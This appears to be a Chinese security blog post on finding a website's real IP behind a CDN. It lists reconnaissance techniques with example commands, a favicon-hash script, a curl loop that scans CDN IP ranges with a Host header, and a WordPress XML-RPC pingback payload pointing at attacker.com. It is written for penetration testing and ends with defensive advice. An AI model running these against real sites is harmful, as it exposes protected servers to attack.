一、CDN工作原理简析
1.1 用户请求
1.2 DNS解析到CDN节点
1.3 CDN节点处理
1.4 内容呈现
1.5 安全切入点
二、绕过技巧大揭秘
2.1 历史DNS记录挖掘
2.2 子域名枚举+爆破
2.3 邮件头分析大法
2.4 SSL证书情报收集
2.5 文件引用分析
2.6 Favicon哈希碰撞
2.7 敏感信息泄露
2.8 CDN节点IP段扫描
2.9 利用XML-RPC
三、总结
原创 VlangCN HW安全之路
随着网络安全意识的提升,越来越多的网站开始使用CDN来隐藏真实IP,增强安全性。
但作为渗透测试人员,我们有时需要直接与源站交互。
那么如何绕过CDN找到网站真实IP呢❓
一、CDN工作原理简析
在讲解绕过技巧前,我们先简单回顾下CDN的工作机制:
1.1 用户请求
用户输入网址,触发DNS查询
浏览器准备HTTP请求,建立TCP连接
发送HTTP/HTTPS请求
1.2 DNS解析到CDN节点
本地DNS逐级查询直到权威服务器
获得CDN的CNAME记录
CDN的DNS服务器进行智能解析
返回最优CDN节点IP
1.3 CDN节点处理
解析HTTP请求
检查多级缓存(内存、SSD、HDD)
缓存命中则返回内容
缓存未命中触发回源:
与源站建立连接
请求内容并接收响应
处理响应,决定是否缓存
准备响应给用户
1.4 内容呈现
CDN节点发送HTTP响应
浏览器接收并处理响应
解析DOM,加载资源
渲染页面,执行脚本
1.5 安全切入点
DNS阶段:寻找未保护子域名,分析历史记录
路由阶段:构造特殊请求绕过CDN
缓存阶段:尝试缓存投毒,强制回源
回源阶段:HTTP请求走私,分析回源特征
响应阶段:识别CDN供应商,利用优化功能漏洞
客户端阶段:插入恶意代码,分析信息泄露
可以看到,CDN巧妙地隐藏了源站IP,增加了攻击难度。但天下无难事,只怕有心人。下面我们就来看看如何突破这层防护。
二、绕过技巧大揭秘
2.1 历史DNS记录挖掘
很多网站在迁移到CDN之前,A记录是直接指向源站IP的。我们可以借助一些在线工具来查询历史DNS记录:
SecurityTrails
https://securitytrails.com/
ViewDNS.info
https://viewdns.info/
使用示例:
$ curl -s "https://securitytrails.com/domain/example.com/history/a"
2.2 子域名枚举+爆破
有时某些子域名可能疏忽大意,忘记配置CDN。我们可以通过子域名枚举来碰碰运气:
工具推荐:
使用示例:
$ python sublist3r.py -d example.com
$ amass enum -d example.com
得到子域名列表后,可以用httpx等工具批量探测,看是否有直接暴露IP的。
2.3 邮件头分析大法
如果目标的邮件服务器和web服务器同IP,那邮件头中可能包含真实IP信息。
可以尝试:
注册账号,使用密码重置功能
给不存在的邮箱发邮件,触发退信
分析示例:
Received: from mail.example.com (203.0.113.1) by ...
2.4 SSL证书情报收集
有时候SSL证书中会意外包含真实IP。可以使用这些工具搜索:
Censys
https://censys.io/
Shodan
https://www.shodan.io/
2.5 文件引用分析
网站的静态资源(如js、css等)可能直接引用了源站IP。可以仔细检查网页源码,寻找类似:
<script src="https://203.0.113.1/main.js"></script>
2.6 Favicon哈希碰撞
网站图标的哈希值可以用来在Shodan等平台搜索相关IP。
使用Python脚本生成哈希:
import mmh3
import requests
import codecs
response = requests.get('https://example.com/favicon.ico')
favicon = codecs.encode(response.content, 'base64')
hash = mmh3.hash(favicon)
print(hash)
然后在Shodan搜索:
http.favicon.hash:123456789
2.7 敏感信息泄露
一些网站可能在某些页面不小心泄露了真实IP。可以尝试:
robots.txt
sitemap.xml
phpinfo页面
错误页面
2.8 CDN节点IP段扫描
这是一个比较暴力但有效的方法。步骤如下:
a) 确定目标使用的CDN提供商
b) 获取该CDN的IP段
c) 扫描IP段,结合Host头访问
示例脚本:
for ip in $(seq 1 254); do
curl -H "Host: example.com" http://104.16.0.$ip
done
2.9 利用XML-RPC
如果目标是WordPress站点,可以尝试利用XML-RPC:
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://attacker.com/</string></value>
</param>
<param>
<value><string>http://target.com/?p=1</string></value>
</param>
</params>
</methodCall>
这可能触发目标服务器主动连接我们控制的服务器,暴露真实IP。
三、总结
以上就是一些常见的CDN绕过技巧。在实战中,往往需要组合多种方法才能见效。同时提醒大家,未经授权的测试可能违法,请谨慎行事。
最后,站在防守的角度,我们要:
确保所有子域名都配置了CDN
不在源站直接对外提供服务
使用独立的邮件服务器
仔细检查网站代码,避免IP泄露
对源站进行适当加固
© 版权声明
文章版权归作者所有,未经允许请勿转载。
相关文章
暂无评论...